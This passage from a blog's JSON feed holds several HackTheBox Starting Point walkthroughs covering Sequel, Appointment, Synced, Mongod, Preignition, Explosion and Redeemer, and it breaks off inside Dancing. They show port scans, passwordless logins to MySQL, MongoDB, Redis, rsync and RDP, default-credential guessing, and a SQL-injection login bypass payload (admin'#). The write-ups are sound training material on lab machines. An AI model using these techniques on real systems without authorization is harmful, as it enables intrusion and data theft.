name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can remove the variable with the unset command when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable Task-1 Question: During our scan, which port do we find serving MySQL?\n3306\nLet us begin reconnaissance with an all-port TCP Nmap scan, using the -T5 option to set the timing template to fastest.\nuser@kali:~$ nmap -p- -T5 $rhost ... PORT STATE SERVICE 3306/tcp open mysql ... user@kali:~$ Listing 3 - Scanning all TCP ports on the target Task-2 Question: What community-developed MySQL version is the target running?\nMariaDB\nRunning nmap with the -sV option for service name and version detection proves unsuccessful \u0026ndash; the program hangs.\nuser@kali:~$ nmap -p 3306 -sV $rhost -vvv ... Scanning 10.129.17.29 [1 port] Discovered open port 3306/tcp on 10.129.17.29 Completed Connect Scan at 21:02, 0.01s elapsed (1 total ports) Initiating Service scan at 21:02 Scanning 1 service on 10.129.17.29 ... Listing 4 - Hanging service name and version detection scan We attempt the scan again, this time running only scripts from the safe category with the --script=safe option.\nuser@kali:~$ nmap -p 3306 --script=safe $rhost ... PORT STATE SERVICE 3306/tcp open mysql | mysql-info: ... | Version: 5.5.5-10.3.27-MariaDB-0+deb10u1 ... user@kali:~$ Listing 5 - Running safe script scans Task-3 Question: When using the MySQL command line client, what switch do we need to use in order to specify a login username?\n-u\nThe program\u0026rsquo;s built-in --help option assists us in identifying the correct flag.\nuser@kali:~$ mysql --help ... Usage: mysql [OPTIONS] [database] ... -u, --user=name User for login if not current user. ... user@kali:~$ Listing 6 - MySQL help output Task-4 Question: Which username allows us to log into this MariaDB instance without providing a password?\nroot\nWe attempt authentication using common default credentials.\nuser@kali:~$ mysql -h $rhost -u root Welcome to the MariaDB monitor. Commands end with ; or \\g. ... Type 'help;' or '\\h' for help. Type '\\c' to clear the current input statement. ... MariaDB [(none)]\u003e Listing 7 - Connecting to the remote MySQL service without a password Task-5 Question: In SQL, what symbol can we use to specify within the query that we want to display everything inside a table?\n*\nKnowledge of basic SQL syntax provides the answer.\nTask-6 Question: In SQL, what symbol do we need to end each query with?\n;\nThe MariaDB welcome message explicitly indicates this requirement.\nTask-7 Question: There are three databases in this MySQL instance that are common across all MySQL instances. What is the name of the fourth that\u0026rsquo;s unique to this host?\nhtb\nWe use the show command to enumerate all available databases.\nMariaDB [(none)]\u003e show databases; +--------------------+ | Database | +--------------------+ | htb | | information_schema | | mysql | | performance_schema | +--------------------+ ... MariaDB [(none)]\u003e Listing 8 - Database enumeration Of these, the htb database is the only one unique to this host.\nSubmit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nWe proceed to dump the contents of the htb database. First, we select the database and enumerate its tables with show tables;.\nMariaDB [(none)]\u003e use htb Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [htb]\u003e show tables; +---------------+ | Tables_in_htb | +---------------+ | config | | users | +---------------+ ... MariaDB [htb]\u003e Listing 9 - Database selection and table enumeration We dump all data from the tables, applying the information obtained in previous tasks:\nThe usage of * from Task-5 The usage of ; from Task-6 The targeted database from Task-7 The select command \u0026ndash; which we can reference in SQL documentation \u0026ndash; completes our query syntax.\nMariaDB [htb]\u003e select * from config; +----+-----------------------+----------------------------------+ | id | name | value | +----+-----------------------+----------------------------------+ | 1 | timeout | 60s | | 2 | security | default | | 3 | auto_logon | false | | 4 | max_size | 2M | | 5 | flag | \u0026lt;redacted-flag\u0026gt; | | 6 | enable_uploads | false | | 7 | authentication_method | radius | +----+-----------------------+----------------------------------+ ... MariaDB [htb]\u003e select * from users; +----+----------+------------------+ | id | username | email | +----+----------+------------------+ | 1 | admin | admin@sequel.htb | | 2 | lara | lara@sequel.htb | | 3 | sam | sam@sequel.htb | | 4 | mary | mary@sequel.htb | +----+----------+------------------+ ... MariaDB [htb]\u003e Listing 10 - Enumerating the config and users tables The flag resides in the config table.\nMake sure to terminate the target box before continuing with the next machine!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-1/sequel/","summary":"HackTheBox | Starting Point | Tier 1 | Sequel","title":"Sequel"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 1\nMachine: Appointment\nReleased: 06/10/2021 MACHINE SYNOPSIS\nAppointment is a very easy Linux machine which showcases beginner SQL Injection techniques against an SQL database enabled web application.\nPreparations There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.\nOnce our connection is established, we spawn the target machine.\nAdditionally \u0026ndash; even though it is not required \u0026ndash; we may set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we can easily access it by prepending a $ to our variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target host's IP address We can use the unset command to remove the variable when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: What does the acronym SQL stand for?\nstructured query language\nA quick internet search for \u0026ldquo;SQL acronym\u0026rdquo; reveals the answer.\nTask-2 Question: What is one of the most common type of SQL vulnerabilities?\nsql injection\nThe first answer we happened to stumble upon after a quick search was \u0026ldquo;in-band SQL injection\u0026rdquo;. Losing the first part of the phrase provides the correct answer.\nTask-3 Question: What does PII stand for?\npersonally identifiable information\nA quick search reveals the answer.\nTask-4 Question: What is the 2021 OWASP Top 10 classification for this vulnerability?\nA03:2021-Injection\nThe answer should be clear after reviewing the first few internet search results.\nTask-5 Question: What does Nmap report as the service and version that are running on port 80 of the target?\napache httpd 2.4.38 ((debian))\nWe run nmap with the -sV flag to enable service name and version discovery.\nuser@kali:~$ nmap -sV -p80 $rhost ... PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.38 ((Debian)) ... user@kali:~$ Listing 3 - Running service name and version discovery against port 80 Task-6 Question: What is the standard port used for the HTTPS protocol?\n443\nSearching the internet for \u0026ldquo;https protocol default port\u0026rdquo; should suffice for this task.\nTask-7 Question: What is a folder called in web-application terminology?\ndirectory\nOne option is to search the internet; another is to make an educated guess.\nIf we have already used Gobuster to enumerate files on a website, we must have used it in dir mode, which stands for directory/file enumeration mode.\nTask-8 Question: What is the HTTP response code is given for Not Found errors?\n404\nSearching for \u0026ldquo;http response code not found\u0026rdquo; on the internet should provide the answer immediately.\nTask-9 Question: Gobuster is one tool used to brute force directories on a webserver. What switch do we use with Gobuster to specify we\u0026rsquo;re looking to discover directories, and not subdomains?\ndir\nChecking the command\u0026rsquo;s built-in --help option is always a good starting point for understanding available options and their correct usage.\nuser@kali:~$ gobuster --help Usage: gobuster [command] Available Commands: dir Uses directory/file enumeration mode dns Uses DNS subdomain enumeration mode ... user@kali:~$ Listing 4 - Gobuster help page We run Gobuster to identify available files and directories on the target website.\nuser@kali:~$ gobuster dir -u http://$rhost/ -w /usr/share/wordlists/dirb/common.txt ... /.hta (Status: 403) [Size: 279] /.htaccess (Status: 403) [Size: 279] /.htpasswd (Status: 403) [Size: 279] /css (Status: 301) [Size: 314] [--\u003e http://10.129.161.249/css/] /fonts (Status: 301) [Size: 316] [--\u003e http://10.129.161.249/fonts/] /images (Status: 301) [Size: 317] [--\u003e http://10.129.161.249/images/] /index.php (Status: 200) [Size: 4896] /js (Status: 301) [Size: 313] [--\u003e http://10.129.161.249/js/] /server-status (Status: 403) [Size: 279] /vendor (Status: 301) [Size: 317] [--\u003e http://10.129.161.249/vendor/] ... user@kali:~$ Listing 5 - Running file and directory enumeration against the target website Task-10 Question: What single character can be used to comment out the rest of a line in MySQL?\n#\nFor this task, the internet search results were not as straightforward as in the previous tasks.\nThere are multiple ways to comment out code in MySQL: -- (two dashes followed by a space), /* */ (block comments), and # (hash symbol).\nWhile -- is more commonly used in standard SQL, the hash symbol (#) is also a valid single-line comment character in MySQL specifically, though it is less frequently documented in general SQL references.\nTask-11 Question: If user input is not handled carefully, it could be interpreted as a comment. Use a comment to login as admin without knowing the password. What is the first word on the webpage returned?\nCongratulations\nSince no interesting directories or files were found during the enumeration in the previous task, we open a web browser to examine the target machine\u0026rsquo;s landing page.\nWe can deduce the username from the task description: it must be admin. However, we must adjust the input in such a way that the MySQL query bypasses password verification.\nOne way to craft this payload is to first use the \\' symbol to close the SQL query string. Then we use the information gathered in the previous task \u0026ndash; the hash symbol (#) to comment out the remainder of the query.\nThis results in the following credentials:\nUsername: admin\u0026rsquo;# Password: \u0026lt;arbitrary\u0026gt; Once logged in, the welcome message displays the flag for the final task.\nSubmit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nThe flag was displayed after we logged in during the previous task.\nMake sure to terminate the target box before continuing with the next machine!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-1/appointment/","summary":"HackTheBox | Starting Point | Tier 1 | Appointment","title":"Appointment"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 0\nMachine: Synced\nReleased: 09/11/2022 MACHINE SYNOPSIS\nSynced is a very easy Linux machine that explores the Rsync protocol, how to interact with it and the dangers of improper configuration allowing anonymous authentication.\nPreparations There are several methods for connecting to the target machine. Throughout this walkthrough, we use the provided pwnbox.\nOnce our connection is established, we spawn the target machine.\nAdditionally \u0026ndash; even though it is not required \u0026ndash; we may set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we can access it by prepending a $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can remove the variable with the unset command when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: What is the default port for rsync?\n873\nThe rsync daemon listens on TCP port 873 by default.\nTask-2 Question: How many TCP ports are open on the remote host?\n1\nWe scan all TCP ports on the target machine with nmap. Only one port appears to be open.\nuser@kali:~$ nmap -p- $rhost ... PORT STATE SERVICE 873/tcp open rsync ... user@kali:~$ Listing 3 - Scanning all TCP ports on the target Task-3 Question: What is the protocol version used by rsync on the remote machine?\n31\nWe perform service version detection using the -sV option in Nmap.\nuser@kali:~$ nmap -sV -p 873 $rhost ... PORT STATE SERVICE VERSION 873/tcp open rsync (protocol version 31) ... user@kali:~$ Listing 4 - Version detection scan against TCP port 873 Task-4 Question: What is the most common command name on Linux to interact with rsync?\nrsync\nWe can use apropos to search the installed manual pages and command descriptions for mentions of rsync.\nuser@kali:~$ apropos rsync rrsync (1) - a script to setup restricted rsync users via ssh logins rsync (1) - a fast, versatile, remote (and local) file-copying tool rsync-ssl (1) - a helper script for connecting to an ssl rsync daemon rsyncd.conf (5) - configuration file for rsync in daemon mode user@kali:~$ Listing 5 - Commands associated with the rsync word Task-5 Question: What credentials do you have to pass to rsync in order to use anonymous authentication?\nOptions: anonymous:anonymous | anonymous | None | rsync:rsync\nNone\nNo credentials are required for anonymous authentication.\nNext, we attempt to access the remote machine. Note that rsync uses a specific addressing format for daemon connections. Consulting the rsync man page reveals the correct syntax.\n# in the rsync man page\n\u0026hellip;\nAccess via rsync daemon:\nPull:\nrsync [OPTION\u0026hellip;] [USER@]HOST::SRC\u0026hellip; [DEST]\n\u0026hellip;\nListing 6 - Snippet from the rsync man page Running the command without options lists the shares available on the remote machine.\nuser@kali:~$ rsync $rhost:: public Anonymous Share user@kali:~$ Listing 7 - Listing remote shares with rsync Task-6 Question: What is the option to only list shares and files on rsync? (No need to include the leading \u0026ndash; characters)\nlist-only\nThe --list-only option is documented in rsync\u0026rsquo;s built-in help. Interestingly, running the command without options \u0026ndash; as shown in Task 5 \u0026ndash; produces the same results for share enumeration.\nuser@kali:~$ rsync --help ... --list-only list the files instead of copying them ... user@kali:~$ Listing 8 - rsync help page We verify this against the target machine.\nuser@kali:~$ rsync --list-only $rhost:: public Anonymous Share user@kali:~$ Listing 9 - Discovering remote anonymous share with rsync Exploring the share reveals a file of interest.\nuser@kali:~$ rsync $rhost::public ... -rw-r--r-- 33 ... flag.txt user@kali:~$ Listing 10 - Enumerating remote anonymous share with rsync Submit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nWe copy the file containing the flag to our local machine.\nuser@kali:~$ rsync $rhost::public/flag.txt ./flag.txt Listing 11 - Downloading the flag.txt file from the remote share Once transferred, we display the flag.\nuser@kali:~$ cat flag.txt \u0026lt;redacted-flag\u0026gt; user@kali:~$ Listing 12 - Displaying the flag Make sure to terminate the target box before you continue with the next machine!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-0/synced/","summary":"HackTheBox | Starting Point | Tier 0 | Synced","title":"Synced"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 0\nMachine: Mongod\nReleased: 29/09/2022 MACHINE SYNOPSIS\nMongod is a very easy Linux machine which introduces the MongoDB database and how to use the MongoDB shell utility to interact with it. Misconfiguring the database by leaving the anonymous user enabled, allows exploitation and full enumeration of the database.\nPreparations There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.\nOnce our connection is established, we spawn the target machine.\nAdditionally \u0026ndash; even though not required \u0026ndash; we can set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we can easily access it by prepending a $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can use the unset command to remove the variable when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: How many TCP ports are open on the machine?\n2\nWe use Nmap to scan all TCP ports on the target machine.\nuser@kali:~$ nmap -p- $rhost ... PORT STATE SERVICE 22/tcp open ssh 27017/tcp open mongod ... user@kali:~$ Listing 3 - Scanning all TCP ports on the target Task-2 Question: Which service is running on port 27017 of the remote host?\nmongodb 3.6.8\nWe run nmap with the -sV flag to enable version detection.\nuser@kali:~$ nmap -sV -p 27017 $rhost ... PORT STATE SERVICE VERSION 27017/tcp open mongodb MongoDB 3.6.8 ... user@kali:~$ Listing 4 - Service detection scan against TCP port 27017 Task-3 Question: What type of database is MongoDB? (Choose: SQL or NoSQL)\nnosql\nMongoDB is a document-oriented database that stores data in flexible, JSON-like documents rather than in tables with rows and columns. This architecture classifies it as a NoSQL database.\nTask-4 Question: What is the command name for the Mongo shell that is installed with the mongodb-clients package?\nmongo\nThe MongoDB shell command is mongo. On newer systems, the mongosh command provides an enhanced interactive shell with improved features and syntax.\nTask-5 Question: What is the command used for listing all the databases present on the MongoDB server? (No need to include a trailing ;)\nshow dbs\nFirst, we connect to the Mongo database. Then we use the help command to review the available options.\nuser@kali:~$ mongosh --host $rhost --port 27017 ... Connecting to: mongodb://10.129.228.30:27017/?directConnection=true\u0026appName=mongosh+1.8.0 ... test\u003e help Shell Help: use Set current database show 'show databases'/'show dbs': Print a list of all available databases. 'show collections'/'show tables': Print a list of all collections for current database. ... test\u003e Listing 5 - Establishing connection to the Mongo database and listing available commands As indicated in the help output \u0026ndash; \u0026ldquo;show databases/show dbs: Print a list of all available databases\u0026rdquo; \u0026ndash; either show databases or show dbs will list the databases. We use show dbs:\ntest\u003e show dbs admin 32.00 KiB config 72.00 KiB local 72.00 KiB sensitive_information 32.00 KiB users 32.00 KiB test\u003e Listing 6 - Listing available databases Task-6 Question: What is the command used for listing out the collections in a database? (No need to include a trailing ;)\nshow collections\nThe help output from the previous task indicates that show collections (or show tables) will print a list of all collections for the current database.\nTo enumerate all collections on the target system, we use the use command to switch between databases. The flag collection in the sensitive_information database appears especially promising.\ntest\u003e use admin switched to db admin admin\u003e show collections system.version admin\u003e use config switched to db config config\u003e show collections system.sessions config\u003e use local switched to db local local\u003e show collections startup_log local\u003e use sensitive_information switched to db sensitive_information sensitive_information\u003e show collections flag sensitive_information\u003e use users switched to db users users\u003e show collections ecommerceWebapp users\u003e Listing 7 - Enumerating available databases and their collections Task-7 Question: What is the command used for dumping the content of all the documents within the collection named flag in a format that is easy to read?\ndb.flag.find().pretty()\nFrom the previous task, we identified that the flag collection resides in the sensitive_information database. We switch to that database and dump its contents using the find() method with the pretty() modifier for readable formatting.\nusers\u003e use sensitive_information switched to db sensitive_information sensitive_information\u003e show collections flag sensitive_information\u003e db.flag.find().pretty() [ { _id: ObjectId(\"630e3dbcb82540ebbd1748c5\"), flag: '\u0026lt;redacted-flag\u0026gt;' } ] sensitive_information\u003e Listing 8 - Accessing the flag collection and dumping its contents Submit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nWe obtained the flag in the previous task by querying the flag collection within the sensitive_information database.\nMake sure to terminate the target box before you continue with the next machine!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-0/mongod/","summary":"HackTheBox | Starting Point | Tier 0 | Mongod","title":"Mongod"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 0\nMachine: Preignition\nReleased: 30/09/2021 MACHINE SYNOPSIS\nPreignition is a very easy Linux machine which explores beginner enumeration and directory fuzzing of web applications. Upon finding a vulnerable Admin login endpoint, the web app showcases the dangers of improper configuration and default credentials.\nPreparations Several methods exist for connecting to the target machine. Throughout this walkthrough, we use the provided pwnbox.\nOnce connected, we spawn the target machine.\nAdditionally \u0026ndash; though not required \u0026ndash; we can set a local variable (available only in the current shell) containing the target host\u0026rsquo;s IP address. Once set, we access it by prepending $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can remove this variable with the unset command when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: Directory Brute-forcing is a technique used to check a lot of paths on a web server to find hidden pages. Which is another name for this? (i) Local File Inclusion, (ii) dir busting, (iii) hash cracking.\ndir busting\nDirectory brute-forcing, also known as directory busting or dir busting, systematically enumerates server paths to discover hidden or unlinked resources.\nTask-2 Question: What switch do we use for nmap\u0026rsquo;s scan to specify that we want to perform version detection\n-sV\nWe consult Nmap\u0026rsquo;s help documentation to identify the appropriate option.\nuser@kali:~$ nmap --help ... SERVICE/VERSION DETECTION: -sV: Probe open ports to determine service/version info ... Listing 3 - Nmap's help page Task-3 Question: What does Nmap report is the service identified as running on port 80/tcp?\nhttp\nWe run a default Nmap scan against the target machine.\nuser@kali:~$ nmap $rhost ... PORT STATE SERVICE 80/tcp open http ... user@kali:~$ Listing 4 - Default port scan against the target Task-4 Question: What server name and version of service is running on port 80/tcp?\nnginx 1.14.2\nNext, we run nmap with the options identified in Task-2.\nuser@kali:~$ nmap -sV -p 80 $rhost ... PORT STATE SERVICE VERSION 80/tcp open http nginx 1.14.2 ... user@kali:~$ Listing 5 - Version scan against TCP port 80 Task-5 Question: What switch do we use to specify to Gobuster we want to perform dir busting specifically?\ndir\nWe consult Gobuster\u0026rsquo;s help documentation to determine the correct command.\nuser@kali:~$ gobuster --help Usage: gobuster [command] Available Commands: dir Uses directory/file enumeration mode dns Uses DNS subdomain enumeration mode ... user@kali:~$ Listing 6 - Gobuster's help page Task-6 Question: When using gobuster to dir bust, what switch do we add to make sure it finds PHP pages?\n-x php\nWe examine the help documentation for Gobuster\u0026rsquo;s directory enumeration mode.\nuser@kali:~$ gobuster dir --help Uses directory/file enumeration mode Usage: gobuster dir [flags] Flags: ... -x, --extensions string File extension(s) to search for -r, --follow-redirect Follow redirects ... user@kali:~$ Listing 7 - Gobuster's directory enumeration help page Task-7 Question: What page is found during our dir busting activities?\nadmin.php\nWe use the -u flag to specify the target URL and the -w flag to specify the wordlist for directory enumeration.\nOne commonly used wordlist is located at /usr/share/wordlists/dirb/common.txt, though this may require installation of the Seclists package.\nuser@kali:~$ gobuster dir -x php -w /usr/share/wordlists/dirb/common.txt -u $rhost ... /admin.php (Status: 200) [Size: 999] /admin.php (Status: 200) [Size: 999] ... user@kali:~$ Listing 8 - Directory enumeration with Gobuster using the common.txt wordlist Task-8 Question: What is the HTTP status code reported by Gobuster for the discovered page?\n200\nThe Gobuster enumeration results in Task-7 reveal the HTTP status code.\nSubmit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nWe navigate to the discovered /admin.php page in a browser to investigate further.\nUsing a browser, we open http://\u0026lt;target-machine-ip\u0026gt;/admin.php. The page loads a login form requesting a username and password pair.\nGiven that this is an administrative login page, we hypothesize that the username might be admin.\nTesting common default credentials:\nadmin:password admin:Password admin:admin yields the flag.\nMake sure to terminate the target box before you continue with the next machine!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-0/preignition/","summary":"HackTheBox | Starting Point | Tier 0 | Preignition","title":"Preignition"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 0\nMachine: Explosion\nReleased: 30/09/2021 MACHINE SYNOPSIS\nExplosion is a very easy Windows machine that showcases the Remote Desktop Protocol (RDP), how to interact with it using the xfreerdp client and how improper configurations can allow unauthenticated access.\nPreparations We can connect to the target machine in several ways. Throughout this walkthrough, we will use the provided pwnbox.\nOnce we establish our connection, we spawn the target machine.\nAdditionally \u0026ndash; though not required \u0026ndash; we can set a local variable (available only in the current shell) to store the target host\u0026rsquo;s IP address. After setting this variable, we can reference it by prepending $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can remove this variable with the unset command when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: What does the 3-letter acronym RDP stand for?\nremote desktop protocol\nLook up RDP on the internet.\nTask-2 Question: What is a 3-letter acronym that refers to interaction with the host through a command line interface?\ncli\nUse the hint feature to get a better understanding of the question.\nTask-3 Question: What about graphical user interface interactions?\ngui\nThe answer should be quite straightforward after the previous task.\nTask-4 Question: What is the name of an old remote access tool that came without encryption by default and listens on TCP port 23?\ntelnet\nUse the internet to look up port 23.\nTask-5 Question: What is the name of the service running on port 3389 TCP?\nms-wbt-server\nRun the default Nmap scan against the target machine.\nuser@kali:~$ nmap $rhost ... PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server ... user@kali:~$ Listing 3 - Default top 1000 TCP ports scan Task-6 Question: What is the switch used to specify the target host\u0026rsquo;s IP address when using xfreerdp?\n/v:\nList the xfreerdp command options and their usage with the --help option.\nuser@kali:~$ xfreerdp --help ... /v:\u0026lt;server\u0026gt;[:port] Server hostname ... Listing 4 - xfreerdp help page Task-7 Question: What username successfully returns a desktop projection to us with a blank password?\nAdministrator\nSimilar to the default privileged user on Linux \u0026ndash; root \u0026ndash; Windows has a similarly privileged default user: the local Administrator.\nSince the final task requires elevated privileges, we must use the local Administrator account as the Windows equivalent.\nGiven the improper configuration, no password is required to access the remote target machine. Therefore, we simply press Enter when prompted for a password.\nuser@kali:~$ xfreerdp /u:Administrator /v:$rhost ... Listing 5 - Connecting to the target as the Administrator user Submit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nOnce logged in to the remote Windows machine, we find the file containing the flag on the Desktop.\nMake sure to terminate the target box before you continue with the next machine!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-0/explosion/","summary":"HackTheBox | Starting Point | Tier 0 | Explosion","title":"Explosion"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 0\nMachine: Redeemer\nReleased: 11/05/2022 MACHINE SYNOPSIS\nRedeemer is a very easy Linux machine which explores the enumeration and exploitation of a Redis database server while showcasing the redis-cli command line utility and basic commands to interact with the Redis service.\nPreparations Several methods exist for connecting to the target machine. Throughout this walkthrough, we will use the provided pwnbox.\nOnce connected, we spawn the target machine.\nAdditionally \u0026ndash; even though not required \u0026ndash; we can set a local variable (available only in the current shell) containing the target host\u0026rsquo;s IP address. Once set, we access it by prepending $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable, rhost, to store the target's IP address We can remove the variable using the unset command when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable Task-1 Question: Which TCP port is open on the machine?\n6379\nWe use the -p- option with nmap to scan all ports rather than only the top 1,000 TCP ports (the default scan). Note that this may take some time.\nWe can accelerate the scan by setting either the --min-rate \u0026lt;number\u0026gt; option or the -T \u0026lt;0-5\u0026gt; option (higher values indicate faster scanning).\nuser@kali:~$ nmap -p- $rhost ... PORT STATE SERVICE 6379/tcp open redis ... user@kali:~$ Listing 3 - Scanning all TCP ports Task-2 Question: Which service is running on the port that is open on the machine?\nredis\nTo determine the service and version, we use the -sV option with Nmap.\nuser@kali:~$ nmap -sV -p 6379 $rhost ... PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 5.0.7 ... user@kali:~$ Listing 4 - Version scan against the open Redis service Task-3 Question: What type of database is Redis? Choose from the following options: (i) In-memory Database, (ii) Traditional Database\nin-memory database\nResearch Redis using available documentation.\nTask-4 Question: Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments.\nredis-cli\nOne approach is to search the man pages and descriptions for a command mentioning redis.\nuser@kali:~$ apropos redis redis: nothing appropriate. user@kali:~$ Listing 5 - Searching for Redis-related commands If this yields no results, we can use the which command to search installed command names. After typing redis-, we use tab completion (press TAB) to list all available commands beginning with that string.\nuser@kali:~$ which redis- redis-benchmark redis-check-aof redis-check-rdb redis-cli user@kali:~$ which redis- Listing 6 - Tab completion for installed software We then examine the man pages to identify the correct command.\nuser@kali:~$ man redis-cli Listing 7 - Redis-cli man page Task-5 Question: Which flag is used with the Redis command-line utility to specify the hostname?\n-h\nWe use the built-in --help option to understand how to use redis-cli.\nuser@kali:~$ redis-cli --help ... Usage: redis-cli [OPTIONS] [cmd [arg [arg ...]]] -h \u0026lt;hostname\u0026gt; Server hostname (default: 127.0.0.1). -p \u0026lt;port\u0026gt; Server port (default: 6379). ... user@kali:~$ Listing 8 - Redis-cli help page Task-6 Question: Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server?\ninfo\nThe redis-cli man page does not include information about commands available after connection. However, it mentions redis-doc, which we can search for online. The results should provide clarity.\nuser@kali:~$ redis-cli -h $rhost 10.129.176.198:6379\u003e info # Server redis_version:5.0.7 ... # Clients connected_clients:1 ... # Memory used_memory:859624 ... # Persistence loading:0 ... # Stats total_connections_received:11 ... # Replication role:master ... # CPU used_cpu_sys:2.039571 ... # Cluster cluster_enabled:0 ... # Keyspace db0:keys=4,expires=0,avg_ttl=0 10.129.176.198:6379\u003e Listing 9 - Info command within the Redis connection Task-7 Question: What is the version of the Redis server being used on the target machine?\n5.0.7\nWe find the Redis server version in the info output under the # Server configuration information.\nTask-8 Question: Which command is used to select the desired database in Redis?\nselect\nWe consult the Redis documentation to verify the correct command.\nTask-9 Question: How many keys are present inside the database with index 0?\n4\nOne method is to examine the info output generated previously. Information regarding # Keyspace appears at the end.\n# Keyspace\ndb0:keys=4,expires=0,avg_ttl=0\nListing 10 - Keyspace section within the info output The number of keys for database db0 is set to four, providing our answer.\nAlternatively, we can list all keys using the keys command after selecting the database, then count the results.\n10.129.176.198:6379\u003e select 0 OK 10.129.176.198:6379\u003e KEYS * 1) \"flag\" 2) \"numb\" 3) \"stor\" 4) \"temp\" 10.129.176.198:6379\u003e Listing 11 - Selecting db0 and listing the available keys Task-10 Question: Which command is used to obtain all the keys in a database?\nkeys *\nAs demonstrated in the previous task, the * character serves as a match-all pattern.\nSubmit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nWe use the get command to view the keys. One key is named flag. Examining this key reveals the flag.\n10.129.176.198:6379\u003e get flag \"\u0026lt;redacted-flag\u0026gt;\" 10.129.176.198:6379\u003e Listing 12 - Viewing the flag key inside the Redis connection Ensure you terminate the target box before continuing with the next machine!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-0/redeemer/","summary":"HackTheBox | Starting Point | Tier 0 | Redeemer","title":"Redeemer"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 0\nMachine: Dancing\nReleased: 30/09/2021 MACHINE SYNOPSIS\nDancing is a very easy Windows machine which introduces the Server Message Block (SMB) protocol, its enumeration and its exploitation when misconfigured to allow access without a password.\nPreparation There are several methods to connect to the target machine. Throughout this walkthrough, we use the provided pwnbox.\nOnce connected, we spawn the target machine.\nAlthough not required, we can set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we access it by prepending $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target host's IP address We can remove the variable with the unset command when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable Task-1 Question: What does the 3-letter acronym SMB stand for?\nserver message block\nA quick internet search yields the answer.\nTask-2 Question: What port does SMB use to operate at?\n445\nAs before, an internet search provides this information.\nTask-3 Question: What is the service name for port 445 that came up in our Nmap scan?\nmicrosoft-ds\nWe use nmap to scan the top 1000 ports on the target machine:\nuser@kali:~$ nmap $rhost ... PORT STATE SERVICE 